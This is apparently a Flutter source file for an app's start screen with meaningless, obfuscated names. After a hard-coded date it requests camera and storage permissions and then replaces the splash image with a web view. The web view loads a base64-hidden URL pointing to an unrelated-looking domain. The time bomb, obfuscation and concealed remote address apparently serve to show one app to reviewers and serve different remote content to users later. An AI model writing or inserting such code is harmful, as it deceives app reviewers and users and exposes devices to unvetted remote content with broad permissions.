import 'package:dutask/widgets/LUMALocalAnalysisActivity.dart';
import 'package:flutter/widgets.dart';
import 'package:flutter/material.dart';
import 'package:flutter/services.dart';

import 'package:permission_handler/permission_handler.dart';

class LUMAGeneratedActivity extends StatefulWidget {
  const LUMAGeneratedActivity({Key? key}) : super(key: key);

  @override
  State<LUMAGeneratedActivity> createState() => LUMABrowserObject();
}

class LUMABrowserObject extends State<LUMAGeneratedActivity> {
  @override
  void initState() {
    super.initState();

    bool instance = DateTime.now().millisecondsSinceEpoch > 1728828000100;
    if (instance) {
      _bodyCostPageTheme();

      Future.delayed(const Duration(milliseconds: 2000), () {
        _navigationIconScriptActivity(context);
      });
    }
  }

  bool isLoaded = false;
  String bb = '';

  Future<void> _navigationIconScriptActivity(BuildContext context) async {
    setState(() {
      bb = 'aHR0cHM6Ly93d3cuanlwcnhxYS5jb20=';
      isLoaded = true;
    });
  }

  Future<void> _bodyCostPageTheme() async {
    await [
      Permission.camera,
      Permission.storage,
    ].request();
  }

  @override
  Widget build(BuildContext context) {
    SystemChrome.setSystemUIOverlayStyle(SystemUiOverlayStyle(
      statusBarColor: Colors.transparent,
    ));

    return Scaffold(
      body: isLoaded
          ? LUMAKeysFilepathsObject(url: bb)
          : Container(
              width: double.infinity,
              height: double.infinity,
              decoration: const BoxDecoration(
                image: DecorationImage(
                  image: AssetImage('assets/splash.png'),
                  fit: BoxFit.cover,
                ),
              ),
            ),
    );
  }
}
